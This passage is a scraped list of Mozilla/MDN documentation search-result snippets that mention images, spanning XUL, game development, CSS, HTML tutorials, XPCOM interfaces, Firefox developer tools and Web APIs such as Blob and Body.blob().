re(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata appendnotification( label , value , image , priority , buttons, eventcallback ) return type: element create a new notification and display it.
... value - value used to identify the notification image - url of image to appear on the notification.
window - Archive of obsolete content
--> <window id="rootwnd" title="register online!" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <vbox> <hbox> <image src="application_form.png"/> <description>register online!</description> </hbox> <groupbox align="start"> <caption label="your information"/> <radiogroup> <vbox> <hbox> <label control="your-fname" value="enter first name:"/> <textbox id="your-fname" value="johan"/> </hbox> <hbox> <label control="yo...
... lightweightthemesfooter type: id specifies the id of an element to which a lightweight theme's footer image will be applied.
XULRunner Hall of Fame - Archive of obsolete content
ieditweb users can add pages, images, forms, ecommerce many special effects and much more using the xulrunner based client.
...latest release 0.5 febuary 2010 - source daim (fr) / daim (english) superb tool for image analysis build on top of a professional imagelib.
Archived Mozilla and build documentation - Archive of obsolete content
how to edit images, extract zip files, and how to modify css.
... mozilla uses standard gif, png, and jpeg images for the buttons and css to style everything else in the interface.
2006-10-20 - Archive of obsolete content
how to create firefox extension (chrome) to add images next to urls ?
... question regarding how to make a firefox extension that would insert an image next to all links in the loaded web pages similar to the mcafee siteadvisor extension.
Browser Detection and Cross Browser Support - Archive of obsolete content
an example of this approach involved testing for the existence of the document.images object.
...the classic example is: if (document.images) { // code which processes the images } the advantage to feature detection is that it will work regardless of the vendor/version.
-ms-scroll-chaining - Archive of obsolete content
in this case the image container has its -ms-scroll-chaining property set to chained, which means that when a user is scrolling through a nested scrollable element and it hits its boundary the parent scrollable element will begin to scroll in the same direction.
... .imagecontainer { -ms-scroll-chaining: chained; -ms-overflow-style: none; -ms-content-zooming: zoom; -ms-scroll-rails: none; -ms-content-zoom-limit-min: 100%; -ms-content-zoom-limit-max: 500%; -ms-scroll-snap-type: proximity; -ms-scroll-snap-points-x: snaplist(100%, 200%, 300%, 400%, 500%); -ms-overflow-style: none; width: 480px; height: 270px; overflow: auto; } specifications not part of any specification.
::-ms-browse - Archive of obsolete content
-ms-background-position-x -ms-background-position-y -ms-high-contrast-adjust background-clip background-color background-image background-origin background-repeat background-size border-bottom-color border-bottom-left-radius border-bottom-right-radius border-bottom-style border-bottom-width border-left-color border-left-style border-left-width border-right-color border-right-style border-right-width border-top-color border-top-left-radius border-top-right-radius border-top-style border-top-width box...
...dow box-sizing color cursor display (values block, inline-block, none) @font-face font-size font-style font-weight height margin-bottom margin-left margin-right margin-top opacity outline-color outline-style outline-width padding-bottom padding-left padding-right padding-top transform transform-origin visibility width syntax ::-ms-browse example html <label>select image: <input type="file"></label> css input[type="file"]::-ms-browse { color: red; background-color: yellow; } result output example specifications not part of any specification.
Displaying a graphic with audio samples - Archive of obsolete content
the following example shows how to take samples from an audio stream and display them behind an image (in this case, the mozilla logo), giving the impression that the image is built from the samples.
...0)"; ctx.fillrect (0,0, canvas.width, canvas.height); ctx.fillstyle = "rgb(255,255,255)"; for (var i = 0; i < signal.length; i++ ) { // multiply spectrum by a zoom value magnitude = signal[i] * 1000; // draw rectangle bars for each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } ctx.drawimage(document.getelementbyid('mozlogo'),0,0, canvas.width, canvas.height); } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); </script> </body> </html> ...
Anatomy of a video game - Game development
these games present two images to the user; they accept their click (or touch); they interpret the input as a success, failure, pause, menu interaction, etc.; finally, they calculate an updated scene resulting from that input.
... sleep (unless an event interrupts the browser's nap) until the monitor is ready for your image (vsync) and repeat.
Building up a basic demo with A-Frame - Game development
in our case we will use a simple color, but it could also be an image, etc.
... the controls are already working: you can use the mouse for looking around and the keyboard for movement (try the w, a, s, and d keys.) there's even an "enter vr mode" button in the bottom right corner of the screen, to allow you to shift to full screen, stereoscopic image viewing if you have the necesary vr hardware set up and ready.
WebVR — Virtual Reality for the Web - Game development
using the webvr api the webvr api is based on two concepts — sending stereoscopic images to both lenses in your headset and receiving positional data for your head from the sensor, and those two are handled by hmdvrdevice (head-mounted display virtual reality device) and positionsensorvrdevice.
...it's not easy to achieve, but it doesn't require realistic images.
Desktop gamepad controls - Game development
ctx.drawimage(img, playerx, playery); requestanimationframe(draw); } in this case, we are checking the four d-pad buttons (0-3) and the a button (11).
...there's an option wired up to show screengamepadhelp, which holds an image with all the button controls explained — if the y button is pressed and held, the help becomes visible; when it is released the help diappears.
Desktop mouse and keyboard controls - Game development
essed variable to true and in the draw function perform the action assigned to it — move the ship left: function draw() { ctx.clearrect(0, 0, canvas.width, canvas.height); if(rightpressed) { playerx += 5; } else if(leftpressed) { playerx -= 5; } if(downpressed) { playery += 5; } else if(uppressed) { playery -= 5; } ctx.drawimage(img, playerx, playery); requestanimationframe(draw); } the draw function first clears the whole canvas — we draw everything from scratch on every single frame.
...that way, if you already implemented the buttons as shown in the mobile touch controls article, it will work out of the box on the desktop too: var buttonenclave = this.add.button(10, 10, 'logo-enclave', this.clickenclave, this); the button will be placed ten pixels from the top left corner of the screen, use the logo-enclave image, and will execute the clickenclave() function when clicked.
Square tilemaps implementation: Scrolling maps - Game development
note: when writing this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
... for (var c = startcol; c <= endcol; c++) { for (var r = startrow; r <= endrow; r++) { var tile = map.gettile(c, r); var x = (c - startcol) * map.tsize + offsetx; var y = (r - startrow) * map.tsize + offsety; if (tile !== 0) { // 0 => empty tile this.ctx.drawimage( this.tileatlas, // image (tile - 1) * map.tsize, // source x 0, // source y map.tsize, // source width map.tsize, // source height math.round(x), // target x math.round(y), // target y map.tsize, // target width map.t...
Animations and tweens - Game development
next, we will load the spritesheet — put the following line at the bottom of your preload() function: game.load.spritesheet('ball', 'img/wobble.png', 20, 20); instead of loading a single image of the ball we can load the whole spritesheet — a collection of different images.
...if you look again at the wobble.png image, you'll see there are three frames.
Build the brick field - Game development
rendering the brick image next, let's load the image of the brick — add the following load.image() call just below the others: function preload() { // ...
... game.load.image('brick', 'img/brick.png'); } you also need to grab the brick image from github and save it in your /img directory.
Visual-js game engine - Game development
add->new game object (form dialog for define type of new game object ) add->quick code (make your work faster - add usually code blocks) resources - explorer view for images and audios , you can drag or edit also need to execute node build_resources for creating resources object for engine.
... features : tile's background draw for images (alias sprite - but for now there's no sprite and frame by frame animation methods).
API - MDN Web Docs Glossary: Definitions of Web-related terms
for example: the getusermedia api can be used to grab audio and video from a user's webcam, which can then be used in any way the developer likes, for example, recording video and audio, broadcasting it to another user in a conference call, or capturing image stills from the video.
... the web animations api can be used to animate parts of a web page — for example, to make images move around or rotate.
Alpha (alpha channel) - MDN Web Docs Glossary: Definitions of Web-related terms
in a typical image file, the color channels describe how much red, green, and blue are used to make up the final color.
... learn more general knowledge alpha compositing on wikipedia rgba color model on wikipedia channel (digital image) on wikipedia technical reference css color ...
Effective connection type - MDN Web Docs Glossary: Definitions of Web-related terms
2g 1400ms 70 kbps the network is suited for transfers of small images.
... 3g 270ms 700 kbps the network is suited for transfers of large assets such as high resolution images, audio, and sd video.
Hotlink - MDN Web Docs Glossary: Definitions of Web-related terms
a hotlink (also known as an inline link) is an object (typically an image) directly linked to from another site.
... for example, an image hosted on site1.com is shown directly on site2.com.
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
scalable vector graphics (svg) is a 2d vector image format based on an xml syntax.
... as a vector image format, svg graphics can scale infinitely, making them invaluable in responsive design, since you can create interface elements and graphics that scale to any screen size.
lossy compression - MDN Web Docs Glossary: Definitions of Web-related terms
lossy compression is widely used in image formats.
... although there is no obvious difference quality between the two images above, the size of the second image has been significantly reduced, using lossy compression.
MDN Web Docs Glossary: Definitions of Web-related terms
property (javascript) protocol prototype prototype-based programming proxy server pseudo-class pseudo-element pseudocode public-key cryptography python q quality values quaternion quic r rail random number generator raster image rdf real user monitoring (rum) recursion reference reflow regular expression rendering engine repo reporting directive request header resource timing response header responsive web design rest rgb ril robots.txt round trip time (rtt) ...
... alpn at-rule attack byte-order mark character set client cryptosystem debug digital signature execution flex-direction glsl interface library memory management routers self-executing anonymous function stylesheet vector image ...
WAI-ARIA basics - Learn web development
as an example, you could use aria-labelledby to specify that a key description contained in a <div> is the label for multiple table cells, or you could use it as an alternative to image alt text — specify existing information on the page as an image's alt text, rather than having to repeat it inside the alt attribute.
... dynamic content updates content loaded into the dom can be easily accessed using a screenreader, from textual content to alternative text attached to images.
What is accessibility? - Learn web development
caring about accessibility demonstrates good ethics and morals, which improves your public image.
...test early and often, ideally running automated tests to pick up on programmatically detectable missing features (such as missing image alternative text or bad link text — see element relationships and context) and doing some testing with disabled user groups to see how well more complex site features work for them.
Test your skills: The Box Model - Learn web development
your final result will look like the image below.
... try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.
The box model - Learn web development
this is shown in the image below.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: Flexbox - Learn web development
the finished example should look like the image below.
... flex layout four in this final task arrange these items into rows as in the image.
How CSS is structured - Learn web development
write css rules that apply styling to different html elements: transform background-image, in particular gradient values color, in particular rgb/rgba/hsl/hsla values @rules css @rules (pronounced "at-rules") provide instruction for what css should perform or how it should behave.
...for example 2-value shorthands, which set padding/margin for top/bottom, then left/right */ padding: 10px 15px 15px 5px; is equivalent to these four lines of code: padding-top: 10px; padding-right: 15px; padding-bottom: 15px; padding-left: 5px; this one line: background: red url(bg-graphic.png) 10px 10px repeat-x fixed; is equivalent to these five lines: background-color: red; background-image: url(bg-graphic.png); background-position: 10px 10px; background-repeat: repeat-x; background-attachment: fixed; later in the course, you will encounter many other examples of shorthand properties.
Typesetting a community school homepage - Learn web development
you could paste the html and fill in the css into one of these online editors, and use this url to point the background image.
...it is up to you whether you choose a custom bullet image or something else.
What is the difference between webpage, website, web server, and search engine? - Learn web development
a web page can embed a variety of different types of resources such as: style information — controlling a page's look-and-feel scripts — which add interactivity to the page media — images, sounds, and videos.
... note: browsers can also display other documents such as pdf files or images, but the term web page specifically refers to html documents.
What is a URL? - Learn web development
such resources can be an html page, a css document, an image, etc.
... the html language — which will be discussed later on — makes extensive use of urls: to create links to other documents with the <a> element; to link a document with its related resources through various elements such as <link> or <script>; to display media such as images (with the <img> element), videos (with the <video> element), sounds and music (with the <audio> element), etc.; to display other html documents with the <iframe> element.
What is a web server? - Learn web development
(for example, html documents, images, css stylesheets, and javascript files) a web server connects to the internet and supports physical data interchange with other devices connected to the web.
... hosting files first, a web server has to store the website's files, namely all html documents and their related assets, including images, css stylesheets, javascript files, fonts, and video.
What is accessibility? - Learn web development
the basics of web accessibility a few necessities for basic web accessibility include: whenever your site needs an image to convey meaning, include text as an alternative for visually-challenged users or those with slow connections.
... if the technical side interests you more, you could learn how to embed images in webpages.
Getting started with the Web - Learn web development
do i have images inserted on my page?
...what background images and colors should be used to decorate your website?
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
how to create a list of items with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abbreviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add imag...
... advanced images & multimedia how to add a responsive image to a webpage how to add vector image to a webpage how to add a hit map on top of an image internationalization html is not monolingual.
Introduction to HTML - Learn web development
a navigation menu?), and embed content such as images and videos into a page.
... document and website structure as well as defining individual parts of your page (such as "a paragraph" or "an image"), html is also used to define areas of your website (such as "the header," "the navigation menu," or "the main content column.") this article looks into how to plan a basic website structure and how to write the html to represent this structure.
Build your own function - Learn web development
add the following block just above the closing curly brace (}) of your function: if (msgtype === 'warning') { msg.style.backgroundimage = 'url(icons/warning.png)'; panel.style.backgroundcolor = 'red'; } else if (msgtype === 'chat') { msg.style.backgroundimage = 'url(icons/chat.png)'; panel.style.backgroundcolor = 'aqua'; } else { msg.style.paddingleft = '20px'; } here, if the msgtype parameter is set as 'warning', the warning icon is displayed and the panel's background color is set to red.
... previous overview: building blocks next in this module making decisions in your code — conditionals looping code functions — reusable blocks of code build your own function function return values introduction to events image gallery ...
Client-side storage - Learn web development
you can store videos, images, and pretty much anything else in an indexeddb instance.
...you can store just about anything you want, including complex objects such as video or image blobs.
Fetching data from the server - Learn web development
in this case we want to return our response as an image file, and the data format we use for that is blob (the term is an abbreviation of "binary large object" and can basically be used to represent large file-like objects, such as images or video files).
...these are not very readable, but you can see what one looks like by opening up the can store app, ctrl-/right-clicking on an image, and selecting the "view image" option (which might vary slightly depending on what browser you are using).
Introduction to web APIs - Learn web development
image source: overloaded plug socket by the clear communication people, on flickr.
...for example, you might draw shapes such as rectangles or circles, import an image onto the canvas, and apply a filter to it such as sepia or grayscale using the canvas api, or create a complex 3d scene with lighting and textures using webgl.
Manipulating documents - Learn web development
try opening this up in your browser — it is a very simple page containing a <section> element inside which you can find an image, and a paragraph with a link inside.
... take a local copy of the dom-example.html page and the image that goes along with it.
What is JavaScript? - Learn web development
html is the markup language that we use to structure and give meaning to our web content, for example defining paragraphs, headings, and data tables, or embedding images and videos in the page.
... javascript is a scripting language that enables you to create dynamically updating content, control multimedia, animate images, and pretty much everything else.
Measuring performance - Learn web development
performance entries are also created in indirect ways; such as loading a resource, like an image.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
The "why" of web performance - Learn web development
building websites requires html, css, and javascript, typically including binary file types such as images and video.
... measuring performance multimedia: images multimedia: video javascript performance best practices.
Web performance - Learn web development
multimedia: images the lowest hanging fruit of web performance is often media optimization.
...in this article we discuss the impact images have on performance, and the methods to reduce the number of bytes sent per image.
Deployment and next steps - Learn web development
create a .gitlab-ci.yml file inside your project's root and give it the following content: image: node:latest pages: stage: deploy script: - npm install - npm run build artifacts: paths: - public only: - master here we are telling gitlab to use an image with the latest version of node to build our app.
...to do this, we just remove the leading slashes (/) from the /global.css, /build/bundle.css, and /build/bundle.js urls, like this: <title>svelte to-do list</title> <link rel='icon' type='image/png' href='favicon.png'> <link rel='stylesheet' href='global.css'> <link rel='stylesheet' href='build/bundle.css'> <script defer src='build/bundle.js'></script> do this now.
Handling common accessibility problems - Learn web development
the simplest text alternative available is the humble alt attribute, which we should include on all images that contain relevant content.
... this should contain a description of the image that successfully conveys its meaning and content on the page, to be picked up by a screenreader and read out to the user.
Introduction to automated testing - Learn web development
with the in-built image editor, highlight your screenshot before you push it to your colleagues.
... note: all the videos and images captured inside a test session are captured inside the gallery, test logs, and issue tracker at lambdatest.
Command line crash course - Learn web development
the next images show the command prompts available in windows — there’s a good range of options from the "cmd" program to "powershell" — which can be run from the start menu by typing the program name.
... example, if you wanted to go to a directory called src, located inside a directory called project, located on the desktop, you could type these three commands to get there from your home folder: cd desktop cd project cd src but this a waste of time — instead, you can type one command, with the different items in the path separated by forward slashes, just like you do when specifying paths to images or other assets in css, html, or javascript code: cd desktop/project/src note that including a leading slash on your path makes the path absolute, for example /users/your-user-name/desktop.
Accessibility API cross-reference
input n/a hypertext link that can be on image or text link n/a link <a> <link> according to the pdf 1.7 spec, a <link> must not be a direct child of a <toci> (table of contents item).
... landmark n/a hypertext link that can be on image or text link n/a link <a> <link> according to the pdf 1.7 spec, a <link> must not be a direct child of a <toci> (table of contents item).
Mozilla accessibility architecture
this is the case for: nshtmlimageaccessible: in msaa an image accessible can have accessible children if it has an image map.
... the children are the image map areas, which are in a different part of the dom tree.
Gecko info for Windows accessibility vendors
role_graphic xul: <image> html: <img> sets state_linked if within link.
...animated images use role_graphic with state_animated.
Index
686 theme concepts theme, add-on themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser; this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip.
...once you have defined the colors and image for your theme, the generator will submit your new theme to amo.
Chrome registration
the providers work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to the files that describe the text, content, and appearance of the window itself.
...typically a skin provider will provide css files and images.
The Firefox codebase: CSS Guidelines
another adjustment to be aware of is that gecko removes all the background-image when high contrast mode is enabled.
... consider using an actual <img> tag (for html documents) or list-style-image (for xul documents) if rendering the image is important.
mozbrowsercontextmenu
for example, if the user clicked on an image nested in an <a> tag, two menus are available — one with information related to the image, and one for the link.
...in the case of an image or video context menu, this is the src of the image or video clicked on to get the context menu.
HTML parser threading
speculative loads when the tree builder on the parser thread encounters html script, stylesheet link, video (with a poster frame), base or img or svg script, style or image elements, preload operations are appended to a speculative load queue.
...when the executor acts on speculative loads, it starts speculative http fetches for images (including video poster frames), style sheets and scripts.
How to implement a custom autocomplete search component
he style hint for the result at the given index */ getstyleat: function(index) { if (!this._comments || !this._comments[index]) return null; // not a category label, so no special styling if (index == 0) return 'suggestfirst'; // category label on first line of results return 'suggesthint'; // category label on any other line of results }, /** * gets the image for the result at the given index * * @return {string} the uri to the image to display */ getimageat : function (index) { return ''; }, /** * get the final value that should be completed when the user confirms * the match at the given index.
...}, /** * get the style hint for the result at the given index */ getstyleat: function(index) { if (!this._comments[index]) return null; // not a category label, so no special styling if (index == 0) return "suggestfirst"; // category label on first line of results return "suggesthint"; // category label on any other line of results }, /** * get the image for the result at the given index * the return value is expected to be an uri to the image to display */ getimageat : function (index) { return ""; }, /** * get the final value that should be completed when the user confirms * the match at the given index.
PopupNotifications.jsm
popupiconurl a string specifying the url of the image to be displayed in the popup.
... this is normally specified in css using list-style-image and the .popup-notification-icon[popupid=...] selector.
Localization sign-off reviews
from the dropdown menu next to the appropriate approval flags (see image).
... the diff generated for sign-off reviews the image to the right illustrates the revisions diff between the current release revision and your newly proposed release revision.
Basics
mathml background image html content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>&alpha;</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>&alpha;</mi> <mi>&pi;</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <mo>&int...
...> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a background image at a desired opacity mathml background image html content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>&alpha;</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>&alpha;</mi> <mi>&pi;</mi> </...
...hy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>&alpha;</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>&pi;</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
Mozilla DOM Hacking Guide
when should domclassinfo be used to add a new interface to an existing dom object to expose a new dom object to javascript to add a new js external constructor, like "new image()" to bypass the default behavior of xpconnect to implement a "replaceable" property to mess with the prototypes of dom objects example of functionality implemented using domclassinfo: constructors of dom objects in the global scope (e.g.
... node) setting up custom prototypes for those dom objects new image(), new option() window.history[index] document.<formname> how to add a new interface to an existing dom object for this section, we will use the simple example of the domimplementation dom object.
Midas
insertimage a uri.
... this command will insert an image (referenced by the given url) at the insertion point.
Hacking Tips
for example in '[rr 28496 607198]reftest test-start | file:///home/bgirard/mozilla-central/tree/image/test/reftest/bmp/bmpsuite/b/wrapper.html?badpalettesize.bmp' z would be 607198.
... break 'mozilla::dom::canvasrenderingcontext2d::drawwindow(nsglobalwindow&, double, double, double, double, nsastring_internal const&, unsigned int, mozilla::errorresult&)' cont break 'presshell::renderdocument(nsrect const&, unsigned int, unsigned int, gfxcontext*)' set print object on set $x = <your x value> set $y = <your y value> print &((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).data[$y * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).stride + $x * ((cairo_image_surface_t*)athebescontext->mdt.mrawptr->msurface).depth / 8] watch *(char*)<address of previous command> (note: if you set a watch on the previous expression gdb will watch the expression and run out of watchpoint) rr with emacs within emacs, do m-x gud-gdb and replace the comman...
mozIAsyncFavicons
it's better to not use this function for chrome: icon uris since you can reference the chrome image yourself.
...it's better to not use this function for chrome: icon uris since you can reference the chrome image yourself.
nsIDocShell
allowimages boolean attribute stating whether or not images should be loaded.
...an active docshell is one that is currently visible, which means it's not a good candidate for optimizations such as image frame discarding.
nsIFeed
image nsiwritablepropertybag2 provides an image url and metadata, as defined by rss 2.
... type_image 2 an image feed, such as a photocast.
nsINavHistoryObserver
this is called the first time a resource (page, image, and so on.) is seen as well as every subsequent time.
... normally, transition types of transition_embed (corresponding to images in a page, for example) are not displayed in history results (unless includehidden is set).
nsINavHistoryResultNode
icon autf8string this uri can be used as an image source uri and will give you the favicon for the page.
... it is not the actual uri of the favicon, but, rather, is something that will resolve to the actual image.
nsIPermission
the nsipermission interface defines a "permission" object, which is used to allow or block objects (for example cookies, images) from certain sites based on user preferences.
... type acstring the type of permission: cookie, image, and so on.
nsITaskbarPreviewButton
hasborder boolean if true, the taskbar should draw a border around this button's image.
... image imgicontainer the icon displayed in the button.
nsITaskbarPreviewController
omcanvasrenderingcontext2d ctx); boolean drawthumbnail(in nsidomcanvasrenderingcontext2d ctx, in unsigned long width, in unsigned long height); boolean onactivate(); void onclick(in nsitaskbarpreviewbutton button); void onclose(); attributes attribute type description height unsigned long the height in pixels of the preview image.
... width unsigned long the width in pixels of the preview image.
XPCOM Interface Reference by grouping
scrollevent nsidommoztouchevent nsidomorientationevent nsidomprogressevent nsidomsimplegestureevent nsidragdrophandler nsidragservice nsidragsession html nsiaccessibilityservice nsiaccessiblecoordinatetype nsiaccessibledocument nsiaccessibleeditabletext nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovider nsiaccessibleretrieval nsiaccessiblerole nsiaccessiblescrolltype nsiaccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender script nsiscriptableunescapehtml nsiscriptableunicodeconverter nsiscripterror nsi...
... dom nsiwebbrowser nsiwebbrowserpersist cache nsicache nsicachedeviceinfo nsicacheentrydescriptor nsicacheentryinfo nsicachelistener nsicachemetadatavisitor nsicacheservice nsicachesession nsicachevisitor nsicachingchannel nsiselectionimageservice chrome nsisearchengine nsisearchsubmission nsiwebbrowserchrome nsiwindowcreator nsiwindowmediator nsiwindowwatcher clipboard nsiclipboard nsiclipboardcommands nsiclipboarddragdrophooklist nsiclipboarddragdrophooks nsiclipboardhelper nsiclipboardowner ...
XPCOM
often, compiled xpcom components are called 'binary' or 'native'.xpcom category image-sniffing-servicesin versions of firefox prior to firefox 3, extensions could add decoders for new image types.
... however, such decoders relied on servers sending correct mime types; images sent with incorrect mime types would not be correctly displayed.xpcom gluethe xpcom glue is a static library which component developers and embedders can link against.
XUL Overlays
MozillaTechXULOverlays
in xul, attributes control important features of the skin like image sources, as in the following example, where an overlay destructively overwrites the image source in the base file with a replacement.
... in the base file, the html image element points to a netscape gif icon: <html:img id="foo" src="netscapeimage.gif"/> in the overlay, an element with the same id attribute specifies a different image, and that image is superimposed on top of the original netscape image as part of the merge process: <html:img id="foo" src="mozillaimage.gif"/> when the base file references an overlay file which contains the html image element above, the new src attribute is superimposed over the original, and the mozilla icon replaces the netscape icon.
Mozilla technologies
accessibility api implementation detailsthese pages contain documentation on mozilla specific implementation details of assistive technology apis.animated png graphicsapng is an extension of the portable network graphics (png) format, adding support for animated images.
... apng is a simpler alternative to mng, providing a spec suitable for the most common usage of animated images on the internet.docshelldocshell is the second iteration of what originally started out as webshell.
Tips and Tricks from the newsgroups
extensions load an extension in its own tab run shell scripts from an extension (for example, to create a symlink) get extension metadata call java from thunderbird extensions (also an example here, written for firefox but compatible with thunderbird 3.x) define a custom protocol handler to call an external program save attachment and send it repeat image display using css sprites messages use reminderfox to open a message in the default thunderbird message window (when messageuri, folderuri and gdbview are unknown) determine whether a message has been flagged as junk imap: getting message key of copied message by nsimsgcopyservice::copyfilemessage access the plain text content of the email body get information about attachment without...
... selecting message repeat image display using css sprites scan for new messages at startup and manually scan a folder initiated by user force listeners to run consecutively to prevent pop messages from getting garbled during message retrieval ...
Color vision simulation - Firefox Developer Tools
the following table shows a colorful image of a cat's face, and what it looks like in the various simulations.
... simulation image displayed none protanomaly (low red) deuteranomaly (low green) tritanomaly (low blue) protanopia (no red) deuteranopia (no green) tritanopia (no blue) contrast loss ...
Index - Firefox Developer Tools
72 view background images in the rules view, you can see a preview of images specified using background-image.
... 88 frame rate frame rate is the rate at which a video device can produce images (or frames).
Network request list - Firefox Developer Tools
image thumbnails if the request is for an image, hovering over its filename shows a preview of the image in a tooltip: security icons the network monitor displays an icon in the domain column: this gives you extra information about the security status of the request: icon meaning https weak https (for example, a weak cipher was used) faile...
... mime-type:text/html mime-type:image/png mime-type:application/javascript is is:cached and is:from-cache shows only resources coming from cache.
Edit fonts - Firefox Developer Tools
the first image shows the font as it is used on the page with default settings.
... the second image shows the same font after selecting the "hi yeast hi gravity" variation.
Examine and edit HTML - Firefox Developer Tools
subtree modification attribute modification node removal use in console show dom properties show accessibility properties change pseudo-class hover active focus focus-within visited screenshot node scroll into view copy inner html outer html css selector css path xpath image data-url attribute paste inner html outer html before after as first child as last child expand all collapse all open link in new tab * open file in debugger * open file in style-editor * copy link address * * these options only appear in certain contexts, for example the "open file in style-editor" option only appears when you context-click over the top...
... (copy) image data-url copy image as a data:// url, if the selected element is an image.
UI Tour - Firefox Developer Tools
the following image shows the 2-pane layout: in 2-pane mode, the inspector includes the html pane, and the css pane, which can contain one of six tools: rules view layout view computed view changes view compatibility view (firefox developer edition 77 and later) fonts view animations view the following image shows the 3-pane mode (available from firefox 62 onwards) which moves the css rules view into a...
...the following image shows 3-pane mode: as you can see, the css pane has moved into the center of the inspector.
BaseAudioContext.createBuffer() - Web APIs
note: audio resampling is very similar to image resizing: say you've got a 16 x 16 image, but you want it to fill a 32x32 area: you resize (resample) it.
... the result has less quality (it can be blurry or edgy, depending on the resizing algorithm), but it works, and the resized image takes up less space.
Beacon API - Web APIs
one such technique is to delay the unload to submit data by creating an image element and setting its src attribute within the unload handler.
... as most user agents will delay the unload to complete the pending image load, data can be submitted during the unload.
Blob.type - Web APIs
WebAPIBlobtype
example this example asks the user to select a number of files, then checks each file to make sure it's one of a given set of image file types.
... var i, fileinput, files, allowedfiletypes; // fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) files = fileinput.files; // our application only allows gif, png, and jpeg images allowedfiletypes = ["image/png", "image/jpeg", "image/gif"]; for (i = 0; i < files.length; i++) { // test if file.type is an allowed file type.
Body.blob() - Web APIs
WebAPIBodyblob
when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
... var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest) .then(response => response.blob()) .then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'blob()' in that specification.
Body.bodyUsed - Web APIs
WebAPIBodybodyUsed
when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image.
... html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content var myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg').then(function(response) { console.log(response.bodyused); var res = response.blob(); console.log(response.bodyused); return res; }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'bodyused' in t...
CSSPositionValue - Web APIs
